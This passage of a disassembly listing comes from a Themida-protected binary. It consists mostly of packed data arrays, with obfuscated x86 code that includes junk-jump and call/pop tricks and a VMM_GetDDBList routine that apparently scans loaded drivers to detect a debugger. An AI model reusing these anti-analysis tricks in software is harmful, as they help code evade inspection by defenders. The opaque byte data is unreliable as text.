83A7017Fh, 420EEB22h, 0D265C3h, 1C7DFFF7h dd 725894BAh, 513799EFh, 0C23E6258h, 71045ADCh, 10713D9Fh dd 0DA21F479h, 5895A9Eh, 0AB51DE0Ch, 693BCE2Ah, 0AA0A8917h dd 0CFF34517h, 0CA1068E9h, 377BA324h, 0DE0C05ACh, 0C70C64E5h dd 75B20B5Dh, 0CDFF9A6Dh, 42FDDCAh, 38B50000h, 70F49AE0h dd 0AE2ED41Ah, 0ED6C1258h, 2AAB5197h, 584A88CEh, 4187E162h dd 7AC0189Bh, 0B6FC52D4h, 0EE349210h, 1CE72BB7h, 0DE21F75Fh dd 37F5C8Dh, 0E03234BFh, 97ED6D27h, 83ED3204h, 0D632B321h dd 0EB6E5490h, 0C6790295h, 7BBF9852h, 74E24496h, 415AA0F6h dd 1D419715h, 0EEF578BCh, 399B1C0Eh, 0DC3AB8C6h, 8B317896h dd 6FF52367h, 0CD3721F2h, 6F03CE3Ah, 89ABDE0Eh, 635950A6h dd 4DCDFB3Fh, 0A50FD81Ch, 58A40581h, 7B6A1E02h, 16F80BF7h dd 9802D43Ch, 0B7F21036h, 7F65E105h, 84B1ECFDh, 4A4DCD85h dd 59365F8h, 0FFCB2D83h, 0D22BFF66h, 99FA1E88h, 54A2C0FCh dd 5B5FC160h, 6875F9DFh, 0F45A9984h, 0AD0F6172h, 2369BF3Fh dd 2527DA1Fh, 0F751D3CAh, 5D2CB1h, 0B7630000h, 27E03228h dd 3CBFC1E9h, 3BCE24A8h, 7FC51769h, 0CEDB5D43h, 80EC0516h dd 28BB0D99h, 748F4D56h, 7C0EEB61h, 0D62CAC1Ah, 0BF0CD743h dd 361027E0h, 9DFB7B71h, 0B7351B57h, 0F91FF61h, 2CBA26B9h dd 6F27E0BFh, 0ED4EDA9Dh, 0DB667190h, 0A0B89F3Dh, 0DDC9CA5h dd 0F779E749h, 15425BA1h, 9CAA3D93h, 5431C41Ah, 0ED6F4D32h dd 0CC3D657h, 6F9EE282h, 0A6B0B90Bh, 8B9CF8B0h, 0DDE12779h dd 27E0CEEEh, 738DEB08h, 388AA2FDh, 52AC2E14h, 678BEDBFh dd 54E515ECh, 0FFFF66C6h, 97152DFFh, 0A90AAE41h, 0BC3F2EFAh dd 0F3685B64h, 9F1D8BEDh, 0C4E50349h, 4896DAFEh, 8A21F236h dd 0D6218D20h, 32DE0DCEh, 0AF2BDFA0h, 8B5AF7FAh, 37h, 1D037FF2h dd 8B58449Ch, 4F27E032h, 0C9D83E5h, 9A1692B6h, 0E0328D56h dd 81E34D27h, 0F21363B5h, 0F487F121h, 0DED7F88h, 200799DEh dd 0F81C1894h, 0DDF65Ah, 155D0000h, 0A0AE4197h, 2836C91Fh dd 15B94CAAh, 3D9EAB2Fh, 542D7182h, 3D568BAh, 53B533A1h dd 8E31090Dh, 48227E0h, 0E1D7EA2h, 0FC5CDBB1h, 0A8E9769h dd 0AFF317D9h, 27E0F124h, 0B4DA3CA6h, 0B90F9278h, 0D6BE957h dd 0FB5F47Ah, 0F3E1A7EBh, 0AD5321F2h, 7042D52Bh, 0EFBAD81Eh dd 0EA65A9CDh, 0C8D81A5Eh, 8B0AA022h, 76C89A2Dh, 9BBF11E3h dd 96DC34B5h, 0C0196FF0h, 0F5AC4959h, 0CEE1CED1h, 54000001h dd 953B81D7h, 0CF75BB11h, 0DB3F94Fh, 4AF0368Eh, 0EB296FC9h dd 268203B7h, 61B73AE0h, 9DF3751Bh, 0D533B157h, 88CC588Fh dd 21F75D7Bh, 7FFD2E7Fh, 0B0438703h, 3A27E032h, 321FE4D0h dd 71DB27E0h, 8C20A10Fh, 79ACB50Bh, 85CA4D18h, 15BB0153h dd 371D4197h, 0F8CA5DB3h, 9D577096h, 4E92B60Ch, 21F213C8h dd 218D208Ah, 0DE0DECD6h, 0D93AB632h, 0E3C82416h, 0BD463205h dd 3DDE0DBBh, 905771D3h, 0F87168E4h, 44C3A95Ah, 1D7F51E4h dd 0AFB6h, 37F1D00h, 0E03234BFh, 0EA4CB627h, 0D9F1FE7Ch dd 0B2CB7E5h, 76841769h, 85DB5FF5h, 6434A033h, 0AD27E042h dd 0ED93D92Fh, 79F5196Fh, 0F9BBA518h, 0A8940983h, 27E0405Bh dd 0E97CD256h, 668D217h, 269C0D93h, 4288BE02h, 2E6A21F2h dd 0E5D19EAh, 2577E1DEh, 0D2E8C1DFh, 0F78C6AAEh, 46ED81Ah dd 0E379FAE0h, 6CB20464h, 92EB45C6h, 0F5AF9E81h, 0C6291619h dd 4C000000h, 8D3379CFh, 0C76DB309h, 5ABF147h, 42E82E86h dd 0E32167C1h, 1E7AFBBFh, 59AF32D8h, 95EB6D13h, 0CD2BA94Fh dd 80C45087h, 21F74273h, 15F52677h, 50F63C94h, 152E74D2h dd 34BF037Fh, 0B627E032h, 0FE7CEA4Ch, 1F9E84A8h, 64B60E8Dh dd 2A9DFFD1h, 24489E1Ch, 0D164BA3Eh, 59779DFFh, 2466A50h dd 21F75067h, 7C8A1D87h, 2662A8FEh, 264C240h, 2DC01694h dd 587F70C1h, 0BAA014CBh, 627CDE38h, 0C7219F9Dh, 0FB5DDB81h dd 5FDEC468h, 0A0F87B09h, 0F351D03Eh, 74D25260h, 0F850D3E1h dd 1C30DC65h, 85EF08E6h, 5812D557h, 0B6B47B55h, 3EBADE38h dd 7740E9FAh, 2587F1C3h, 7DDB59FFh, 3FDEAh, 8B340000h dd 4098151Ah, 0C7219FADh, 4AA42634h, 0CE26A9B7h, 54AC2D3Bh dd 0D632B3C1h, 5EB63543h, 0E73DBDCBh, 6CC24654h, 895322D9h dd 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h, 5F36824h dd 14890000h, 0E1895124h, 4C181h, 0E9830000h, 240C8704h dd 240C895Ch, 0E720B9BAh, 0C1DAF709h, 0E2C104E2h, 6BE28107h dd 8136072Dh, 4154CBCAh, 0B6BE5677h, 81741166h, 583703E6h dd 81D6F745h, 7E6972C6h, 6E6C121h, 0C272EE81h, 0F229EA64h dd 0C8B545Eh, 4C48324h, 4EC81h, 14890000h, 8418F24h, 50240C8Bh dd 405E089h, 5000000h, 4, 5C240487h, 5A2434FFh, 0E904C483h dd 0FFFBD552h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h db 25h, 0B4h ; --------------------------------------------------------------------------- loc_5D2D36: ; CODE XREF: Themida_:005D1DF8j mov eax, 61771B4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 95h dd 9413D89Fh, 906FA34Ch, 3F3BF3E5h, 0AA1CA3D6h, 86325D3Ch dd 0E0780671h, 7E34B8EBh, 0AA0AA1A7h, 5F670059h, 0C873F0A8h dd 0F601D83Eh, 3707167h, 4167CC58h, 0FC3C2923h, 9411ECA0h dd 0F9067739h, 16701E8Ch, 0D96C5A92h, 0AC128D62h, 0CF4DA188h dd 0EE1E2472h, 4B1E2DA8h, 52B3508h, 3D530B3Fh, 2C0D6B15h dd 203B0FFCh, 0AA6C0C1Dh, 0E8204F33h, 0Ch, 3A27DF91h, 0C42FD469h dd 36EFB0DFh, 48F0Fh, 0BB660000h, 815E7D81h, 625F77E9h dd 0FDC68161h, 0B9000058h, 22AA83A6h, 8C0FC02Bh, 4, 5A47B251h dd 0F063C8Bh, 0C781D9BFh, 26F42FD0h, 64F18060h, 0F78BBA66h dd 0A4EF8161h, 0F41E00Dh, 280h, 81F48A00h, 0A56ECBC7h dd 65C5BB6Eh, 0F575411h, 48FC9BFh, 0B6C0BA06h, 0F0BB6940h dd 8326EACEh, 870F04E8h, 4, 431FBA66h, 0A7B8F881h, 850FFFFFh dd 0Ah, 28E9h, 6B18FE00h, 6660C2EBh, 56A97CB8h, 18F7C181h dd 615E2114h, 0FFFF8BE9h, 7ACD1FFh, 24BDDACh, 7568618Bh dd 8BD1A0F7h, 0E99D8D0Eh, 0B8061216h, 0CEh, 269D8589h dd 0E80612h, 58000000h, 0D05h, 0E9038900h, 0CEh, 33h dup(76F20000h) dd 5BE9FFFFh, 0E9000001h, 8, 0DEA94DABh, 7C077CDBh, 7518B58Dh dd 8B0F0617h, 0Ch, 6880Fh, 850F0000h, 0 ; --------------------------------------------------------------------------- jmp loc_5D2FA0 ; --------------------------------------------------------------------------- db 0B7h, 2Ah, 7Fh dd 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h ; --------------------------------------------------------------------------- loc_5D2FA0: ; CODE XREF: Themida_:005D2F88j lea eax, [ebp+6154CD8h] jmp loc_5D2FB1 ; --------------------------------------------------------------------------- db 0E1h dd 59D71B0h ; --------------------------------------------------------------------------- pop edi loc_5D2FB1: ; CODE XREF: Themida_:005D2FA6j call eax jnb locret_5D2FCF jmp locret_5D2FCF ; --------------------------------------------------------------------------- dw 1EBCh dd 0FD023D8Bh, 0B569BD7Eh, 89605027h db 0A7h, 0E5h, 27h ; --------------------------------------------------------------------------- locret_5D2FCF: ; CODE XREF: Themida_:005D2FB3j ; Themida_:005D2FB9j retn ; --------------------------------------------------------------------------- push 0 push esi call sub_5D2FDB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2FDB proc near ; CODE XREF: Themida_:005D2FD3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5D2FDB endp ; --------------------------------------------------------------------------- mov ds:0A23BBF49h, eax sbb eax, 0D98C6667h jmp loc_5D3006 ; --------------------------------------------------------------------------- dw 8F73h ; --------------------------------------------------------------------------- push ss daa cmp ecx, [edx-9C3CA9Ah] das push ss loc_5D3006: ; CODE XREF: Themida_:005D2FF5j test cl, 4 jz loc_5D3057 jmp loc_5D301F ; --------------------------------------------------------------------------- dd 89A2EFDCh, 42BC8051h db 0ADh, 3Fh, 0E1h ; --------------------------------------------------------------------------- loc_5D301F: ; CODE XREF: Themida_:005D300Fj mov edi, ebx mov ecx, ebx xor al, al loc_5D3025: ; CODE XREF: Themida_:005D3026j scasb jnz short loc_5D3025 sub ecx, edi neg ecx sub edi, ecx mov edx, edi dec ecx mov ebx, ecx jmp short $+2 VMMCall VMM_GetDDBList loc_5D303B: ; CODE XREF: Themida_:005D3055j or eax, eax jz short loc_5D3057 lea esi, [eax+0Ch] mov edi, edx mov ecx, ebx loc_5D3046: ; CODE XREF: Themida_:005D304Aj cmpsb jnz short loc_5D3053 dec ecx jnz short loc_5D3046 mov eax, 1 jmp short locret_5D305C ; --------------------------------------------------------------------------- loc_5D3053: ; CODE XREF: Themida_:005D3047j mov eax, [eax] jmp short loc_5D303B ; --------------------------------------------------------------------------- loc_5D3057: ; CODE XREF: Themida_:005D3009j ; Themida_:005D303Dj mov eax, 0 locret_5D305C: ; CODE XREF: Themida_:005D3051j iret ; --------------------------------------------------------------------------- push 0 push ecx call sub_5D3068 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3068 proc near ; CODE XREF: Themida_:005D3060p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5D3068 endp ; --------------------------------------------------------------------------- dd 35BA4D22h, 0E925B2D8h, 0Bh, 0EF065117h, 9CC805ACh, 0FC7FB976h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h dd 0E3589527h, 8870Fh, 8B0F0000h, 2, 85C76160h, 617755Dh dd 1013Fh, 76DD8D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0DECCF5C3h, 51588380h dd 2169858Bh, 85890612h, 6122341h, 2DCD8D89h, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0DD347DC3h, 4B1EFCC3h, 85314DD5h, 612283Dh, 31BD85C7h dd 67600612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0E664CEC3h, 0F6AB3EDh, 58Ah, 0E8816600h dd 85C78611h, 6120011h, 0 ; --------------------------------------------------------------------------- mov edx, ebx push dword ptr [ebp+6120841h] jge loc_5D3180 mov edx, [ebp+612149Dh] loc_5D3180: ; CODE XREF: Themida_:005D3174j call dword ptr [ebp+6122781h] push 0 push edi call sub_5D3191 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3191 proc near ; CODE XREF: Themida_:005D3189p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5D3191 endp ; --------------------------------------------------------------------------- db 0B2h, 56h, 8Bh dd 8EEE2875h, 661EC9D1h, 0F35ED281h, 95FF006Ah, 61229D1h dd 1AEBC08Bh, 3C7276F7h, 94657D65h, 0F922BCE0h, 0CCBD3324h dd 759B85E6h, 8092A6B8h, 6E88F37h, 3C000000h, 0BEF7BC2h dd 0B5315A0Fh, 6120C6Dh, 71A0C281h, 66600000h, 80EA72BAh dd 33610BC1h, 19BD8BDBh, 0FF06122Ch, 0F28B1334h, 8ABE6658h dd 0E0F08133h, 8116D06Eh, 0A35089C0h, 0BE875h, 5B360000h dd 0AF2057A7h, 0A938F041h, 80FC6053h, 596193E4h, 1327C081h dd 0E95753A8h, 0Ah, 91656871h, 0F9EB58CDh, 895936B3h, 0FB8B1A04h dd 8AD9D89h, 0EB830612h, 85BD8B01h, 4B061202h, 8D8B4B4Bh dd 6122885h, 8EF0FB81h, 850FFFFFh, 0FFFFFF93h, 0EBCE8B66h dd 60h, 17h dup(0) dd 0C09E900h, 0FDE90000h, 6800000Bh, 6178041h, 0FB08F4E9h dd 81D868FFh, 0EAE90617h, 68FFFB08h, 617823Dh, 0FB08E0E9h dd 0D13E53FFh, 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah dd 3FAF06F6h, 0DB74C14Eh, 79125FB0h, 12ABF817h, 6C46937Ch dd 0D772151Dh, 34114DF6h, 4EAD9C1Dh, 2EF88649h, 0FD146D9Bh dd 0E1B7157Ch, 0F4A4D110h, 47DFD693h, 4152E5F0h, 0DC90C54Ah dd 2F3664E5h, 0E40D0288h, 0C255E45Fh, 0E835DAB1h, 9BD03F4Fh dd 1C51BED2h, 1503CF5h, 0ED0975EDh, 0C95CC78Dh, 73CD3B8h dd 1C04F3Eh, 94C94648h, 80492EC1h, 8A43020Dh, 91760906h dd 1348C7C8h, 9ACF404Ah, 1F54BBD1h, 40488992h, 47DF9347h dd 52EA256Bh, 9CD13E51h, 34F35EC9h, 69FC137Bh, 93EF2FAh dd 334A49F5h, 0F6A25C2Bh, 0D936564Dh, 2E39D1A4h, 8948539Bh dd 653BCD0h, 0F6B59CA9h, 0F6A295EEh, 9ED3DE4Dh, 9756B9D5h dd 0A30F7880h, 616C4DF6h, 59DAD1CEh, 0FE18B7DEh, 41CEC0D3h dd 141543D6h, 80A67693h, 86D58021h, 685C70F6h, 495AED58h dd 9E4CCA45h, 0B9A2AEB8h, 54C41FAh, 3A869670h, 0DA0F7A1Fh dd 86467407h, 5AB5D68Fh, 0DF305C25h, 0D96CD7AAh, 0EACE16ABh dd 625B25BCh, 0AD000000h, 3BB9A2AEh, 1E7CFD14h, 7F8DD88Ch dd 53349427h, 947DF85h, 0BA5539F2h, 0DF857D0Ah, 0B8CFD747h dd 0CB47DF85h, 8A1D28C0h, 0F7783742h, 0C254F0A2h, 452A34BBh dd 335681CCh, 140735C8h, 0F51A723Eh, 70171F36h, 1347DF5Fh dd 51477508h, 387403h, 1C9D0000h, 0E31A1C5h, 4745A6D7h dd 2DC093C8h, 0C3A2AEFFh, 5EDC47C8h, 0DC335B14h, 0B5D2DA49h dd 9F47DF5Fh, 0D76AA5E6h, 149412FDh, 0F51A723Eh, 20D7D36h dd 3967FACDh, 0A5AE0351h, 3F8001C0h, 0AA17B7A4h, 0B1D6DE9Dh dd 0D247DFAFh, 0BDC534C7h, 49F1CD8Dh, 0A0B8EDF8h, 4DF1ACEBh dd 5F48C908h, 0C74C9794h, 5889D568h, 0AE905131h, 1958624h dd 0AED80000h, 0E6FDBCA1h, 0DF5FA9DEh, 3CCFDA47h, 5FFAC5CDh dd 0BEC947DFh, 41CEC089h, 1C723EF4h, 0B89E75F3h, 0DB345B14h dd 1A72D3A6h, 818D62F5h, 0D0861E9Ch, 0BCEACE16h, 455B25h dd 0EB6C0000h, 444DCDA9h, 0AFDD70B1h, 3BB9A2AEh, 5F7B0C14h dd 0FD0847DFh, 143E147Fh, 4DE02F5Bh, 41BF503Ch, 0A3ABC251h dd 47DF5FE4h, 0CBF98C97h, 0F7029314h, 81A133F4h, 0A6CDBAC2h dd 0A3AE47DFh, 420110h, 0AE6B0000h, 4DCCC3A2h, 3166D13Eh dd 82ED2268h, 0C149917h, 47DF5F7Bh, 140D8B76h, 0C44B44FDh dd 0FB29BC8Fh, 77F51A72h, 0F6829314h, 0D9EEDB74h, 4851446h dd 0E8A06056h, 177078EFh, 6447DFF6h, 2D5BEE59h, 0FDBCA1AEh dd 9F20577Ch, 0C8C8B8F6h, 0DA49DC47h, 0DFBEE9D2h, 9ACFDA47h dd 3AD5BA73h, 0C04F3C05h, 0BA4DB88Bh, 0DD2AE5A9h, 0F31C7227h dd 0AEB89E75h, 143BB9A2h, 0D3B32393h, 8417079Dh, 0CE16D187h dd 5B25BCEAh, 60h, 34DBB36Ch, 0A2AE73A1h, 0FD143BB9h, 36C94644h dd 0DF5FB1D6h, 49C7D247h, 5B143E14h, 0D8ABE02Fh, 0F9583445h dd 86080BB6h, 58815489h, 73DE10D6h, 7C9314F5h, 3F627A08h dd 5CD52952h, 49996B21h, 74F584B6h, 5DEABA0Ch, 96C4577Ah dd 3474h, 0A71C9D00h, 96791723h, 85658E61h, 6E9C2FDAh dd 3BB9A2AEh, 5F7B0C14h, 8B7647DFh, 723E140Dh, 0EE99A11Ah dd 8D47DF5Fh, 9F581782h, 0CBC021EEh, 5183B144h, 0A27403h dd 0AEDE0000h, 0F5FDBCA1h, 47DF5FCAh, 0F0B9EEF9h, 0F9B2719Eh dd 73467B94h, 722DE3E0h, 9E75F31Ch, 40CFBE77h, 77A5380Bh dd 3BB9A2AEh, 70788F86h, 47DF6017h, 98C65964h, 0BCEACE16h dd 465B25h, 0AEAD0000h, 79FAB9A2h, 334FA1A7h, 0C0EE8127h dd 5F7B0C14h, 0CAE147DFh, 5FDCABB3h, 949F47DFh, 0DF5FA3E4h dd 42D5E047h, 1471EFFAh, 0FF1A723Eh, 76497E91h, 0C2518D0Bh dd 5FE4A3ABh, 8C9747DFh, 1D74CBF9h, 0DE000000h, 0F1FBA2AEh dd 0EEE00564h, 14EB69D4h, 0DF5F7B0Ch, 0D8B7647h, 1A723E14h dd 35177F5h, 0BEF31C72h, 127E9BF5h, 4E4592FDh, 8417F895h dd 98A01B73h, 47DF5FEFh, 0FE58818Ch, 39EF8C3h, 5E76AB16h dd 47E00A2Fh, 0D80D028Bh, 5C917E0Fh, 0AA2FB2C6h, 88637E6Ah dd 23BC0906h, 0CF6FA46Bh, 0C21F4B41h, 0D3546727h, 0EC396FBDh dd 6F18C8E8h, 0C47DFEEh, 0EEE2A5ADh, 96A147DFh, 4801C02Bh dd 0C497CC43h, 0BD58399Bh, 8417389Dh, 76212A87h, 590B5DEBh dd 31F05B5Eh, 0E629611Ah, 0EB4BDEB1h, 49F1825Fh, 465E939Eh dd 4DF17845h, 0C0F51A75h, 187996F7h, 0CE649976h, 8AB227BAh dd 0A41C736Eh, 7124AEE6h, 1Eh, 0F31C72C3h, 0FB147B34h dd 7B60F3C6h, 0DF602463h, 1EC3AF47h, 0F744CBC3h, 0CA454700h dd 1C720937h, 1697BEF3h, 5B69CF8Dh, 0F1C65982h, 323AF9E8h dd 49F5006Ah, 0BA73323Dh, 0ACA93CD3h, 471834B5h, 0F126E9A6h dd 0C564F51Eh, 0DFE8BD50h, 1F2B33F2h, 5E5008E9h, 85061E53h dd 6E47E4D0h, 0FF1A762Fh, 8518838Ch, 0E1E1A839h, 3622B98Fh dd 3Bh, 0F5FD1488h, 47DF5F92h, 7E53E6F1h, 0B6CD8C71h, 6BA4E69Fh dd 0DF5FCCBBh, 0DFAEAF47h, 0BD28FB30h, 5FEDCA2Ah, 0C3CE47DFh dd 0DA3F4B04h, 0E62966B3h, 873467Bh, 2024BBh, 0AE8E0000h dd 0F5FDBCA1h, 47DF5FC6h, 5A13D2DDh, 0D4A7DC33h, 7119D241h dd 6426DF9Eh, 10A376ABh, 87745D13h, 0DE000001h, 92F5FD14h dd 0CA47DF5Fh, 0DF5FC5C2h, 13ABB647h, 2BE4A708h, 0BB9023F6h dd 9E4AC8ADh, 0F31C72B8h, 788F8675h, 0E43CCBFh, 5FFC8B3Bh dd 747F47DFh, 5FDAADB5h, 9EA947DFh, 0CE16DD0Bh, 5B25BCEAh dd 4Ah, 0A09314ADh, 9BD15630h, 6D7B50E3h, 0C140A88h, 47DF5F7Bh dd 0C5C2CAE1h, 0B647DF5Fh, 0C5D018ABh, 0A0E7EF06h, 0E347DF5Fh dd 141745D8h, 0A8DD325Bh, 0FDD342D5h, 79F71872h, 0FD140351h dd 0DF5F92F5h, 53E6F147h, 3B44h, 0A0AEAE00h, 60285F67h dd 505B47DFh, 0C1467E5h, 47DF5F7Bh, 140D8B76h, 3918723Eh dd 0E1364DC0h, 1C515F8h, 0E8FACC31h, 5194127Dh, 0E4A3ABC2h dd 9747DF5Fh, 0E61BF496h, 0E715A813h, 1F351C72h, 0D2C2D765h dd 4C818EFCh, 474F0E79h, 47DFD940h, 0ECD3843h, 46D7B08Dh dd 99C6118h, 0AEB89EDBh, 41FAB9A2h, 0B88BC04Fh, 0D086F725h dd 0BCEACE16h, 0CFD7EE25h, 4ADF5FB8h, 0F901C0CBh, 4ADF5F8Eh dd 4D4FE2EDh, 45h, 24EBA55Eh, 0A2AE6391h, 7579FAB9h, 0C9B48163h dd 143F6D00h, 48DB345Bh, 8109C2D9h, 0F386598Eh, 0DF5FF493h dd 0FE7C8747h, 92F5FD14h, 0F147DF5Fh, 3F749BF0h, 0FF6E016Ch dd 0F51A7229h, 74035177h, 1Dh, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh dd 3E140D8Bh, 36F51A72h, 0CD020D7Dh, 513967FAh, 0F11E7203h dd 5FEAA4BCh, 1ADE47DFh, 9B741CC7h, 1E72984Eh, 9DF3BCF1h dd 0B75E3D72h, 242C8FFEh, 47DF5F63h, 75AA1520h, 45C6B1E4h dd 35A04C14h, 28B56A2h, 70784349h, 47E05217h, 0B9EE5964h dd 4E4253E6h, 5222656Dh, 566147E0h, 0EEA79EEBh, 6B3E739Ch dd 545678D8h, 21DE47E0h, 22BC1AA0h, 0FFFE2775h, 5B14C7FFh dd 0E949DC33h, 47DF5FA2h, 0DF6042C9h, 5F5F2947h, 0E4FB47DFh dd 0DF5FABDCh, 0DEA9B147h, 9D47DF5Fh, 30EFFA92h, 0DF5F5F28h dd 7E111C47h, 0DF5F6D1Eh, 5F8DFE47h, 0B8CF47DFh, 0DF5FD7B0h dd 699A447h, 0DF5FE5A6h, 19081187h, 2BEEA15Ah, 0A87BB05Fh dd 243BAA3Dh, 0BBF01F6Bh dd 97F555E8h, 6309F257h, 5743444Ch, 35400DF4h, 904F5AA2h dd 325BB4D7h, 0DAD6D220h, 6247DA91h, 0E0B823Bh, 86598E81h dd 8013E61Bh, 0F4B3A2ABh, 593E2ECh, 69242510h, 0E3A871A6h dd 0D756C12Ch, 2DB1F1E5h, 1E1A84Dh, 31000003h, 0C962AF60h dd 66FF4CC3h, 59EEB24h, 9F38858Ah, 0E4D421EEh, 9F701DD1h dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF6DF94h dd 72340AE7h, 97BEF31Ch, 0CA5DB2DEh, 4605ECF5h, 0F4D7623Eh dd 0D3A52649h, 0DE7023FCh, 0A69B144h, 0F6E48502h, 80EBF64Dh dd 0B833C33h, 7A117104h, 7C4DF6E4h, 1CF39873h, 0D3DBF2B1h dd 4DF6E4B4h, 4266FEC7h, 32178290h, 0BDC534C7h, 500C9377h dd 0A3E4EC03h, 0E047E028h, 0CF81ACD5h, 0A81AA75h, 65242F77h dd 582F374Eh, 2B47DF87h, 127C8D20h, 0F7968307h, 5178AD18h dd 0DF883E49h, 0C7323D47h, 18760F5Ch, 0D9AAC2F7h, 1D47DF87h dd 576E2D14h, 8A1DF29Eh, 0F4FF6E2Ah, 87465149h, 24FC0CEh dd 9BECF40Bh, 0C14DF6BEh, 0F6BECEB9h, 0AA2AD4Dh, 335B6CFFh dd 0C780A7DCh, 42154AC5h, 0BF0C7B83h, 646F4DF6h, 0EF3FCD1h dd 3755474Fh, 1D28500Ch, 0A2AAC1E8h, 47DF87E5h, 23F88B96h dd 646C2B1Ah, 49F4FDCCh, 0B3084FD0h, 47ABAFEEh, 345D3857h dd 8B1E0396h, 0C0793843h, 0D03F4ECBh, 285DC89Bh, 9A53C255h dd 14E85DF4h, 51AE630Eh, 9EA627E6h, 2591581Eh, 0FA939023h dd 1F467B94h, 2B870008h, 0C5CD4DF7h, 4DF72BC2h, 131EB6C1h dd 3D6B2080h, 828B4DF7h, 0D4CCD493h, 9F500CADh, 6427F29Eh dd 0E40B40ABh, 0E000ABDCh, 62CDD847h, 2C35C2F7h, 0C3CD8645h dd 424AB94Ch, 49F216B0h, 6D55D4DFh, 0C5EBA57Ah, 16A5920h dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h dd 2B5C64B3h, 584DF6E1h, 0A5AEA57Bh, 0A7F901C0h, 9A49F4D7h dd 0E419F699h, 329D721Bh, 0FC0592C7h, 104E5615h, 0D05008EBh dd 0CBD6B1B9h, 9AA547E4h, 35B4BF07h, 0EDB2A133h, 5531ABFh dd 35000001h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh dd 0F7FF4E28h, 4DF6E190h, 0AE4016F3h, 4FC0CAA5h, 1DDC471Ah dd 0F4D78315h, 2E5D5E49h, 6ED9ACE1h, 0F11E7039h, 0F9167932h dd 0BED06966h, 868F1C51h, 48C9E09Fh, 7C0FDEAFh, 628B5E93h dd 52CB7CAh, 0C321F1D8h, 35952893h, 500C3DFFh, 0B14A97A2h dd 4EE734DBh, 0ED86D33Ch, 0F5AE6DA2h, 0E6E37699h, 82CF404Dh dd 1BADA4E9h, 952ADBD3h, 39D21F8Ah, 7970BD52h, 0A3FD0C0h dd 0FD93A437h, 343C5312h, 47DF9A53h, 0BEC9D130h, 0BD47DF9Ah dd 0B7B447B2h, 529F701Eh, 4B3C445Bh, 3847DF9Ah, 2899A2Dh dd 0DADE7317h, 0C9C01C37h, 815489F4h, 0EE9E5716h, 34918E21h dd 0CE87462Bh, 88904FC0h, 47DFCFFFh, 6FDE717Ch, 0F545CD67h dd 0A0EFF049h, 6CF046Fh, 0FC88788h, 300937Ch, 36Ch, 3422D600h dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 211968D4h dd 34890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 41B8h mov [esp], ecx push ebp mov ebp, 57ED4186h or ebp, 75C2551Eh push edi mov edi, 71F82D81h xor ebp, edi pop edi mov eax, ebp pop ebp push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax sub dword ptr [esp], 17EA04C2h pop dword ptr [ecx+8] add dword ptr [ecx+8], 17EA04C2h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- db 9Dh dd 40BD5F05h, 71C9FA01h, 0AF69F7D4h, 178367B8h, 8BC50306h dd 6E8C3h, 0FDD00000h, 80F25D34h, 2860Fh, 0D3B30000h, 74B9665Fh dd 0C0C7812Fh, 0F9000072h, 12E9C02Bh, 83000000h, 7C333597h dd 0BCC6E63Fh, 26C82F28h, 64ACA07Ch, 7348B5Ch, 0F681A6B1h dd 0B76CB1h, 621147BAh, 8AEE8168h, 0B92BF326h, 7AFE31F8h dd 23B4F681h, 88B36D82h, 0D3816656h, 48F8E1Ah, 0DF8B6607h dd 0B720E281h, 0E8836E6Ah, 0CB816604h, 0F8813085h, 0FFFF8DF0h dd 0D850Fh, 8B660000h, 30E9D8h, 17080000h, 0E9A23353h dd 0Fh, 26056A24h, 3DCB67D7h, 0D137B2C2h, 0E9365DD0h, 0FFFFFF91h dd 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h, 0C75829BEh, 19E9DDDFh dd 4B000000h, 17F477h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D45B0 ; --------------------------------------------------------------------------- db 8Fh, 2, 0Dh dd 0AA6527C0h, 49C6C45Dh, 0E32C63FCh, 7F90FD96h, 7B734232h dd 17B0FD12h, 0B54E9B74h, 4EE734DBh, 0A882CF40h, 0E4365159h dd 68454DF6h, 0F31C7292h, 7798F5BEh, 631C332Ah, 0E0B3E827h dd 0DF5F5730h, 86192447h, 0C1F61975h, 0A8396F8h, 5F947B0Fh dd 19EC218Ch, 0DCB079AEh, 5C049A75h, 1C87DE2Dh, 991A51E7h dd 320907EDh, 77598276h, 0EABD7F11h, 0C91864F7h, 0E6A1A9C0h dd 9547DFF0h, 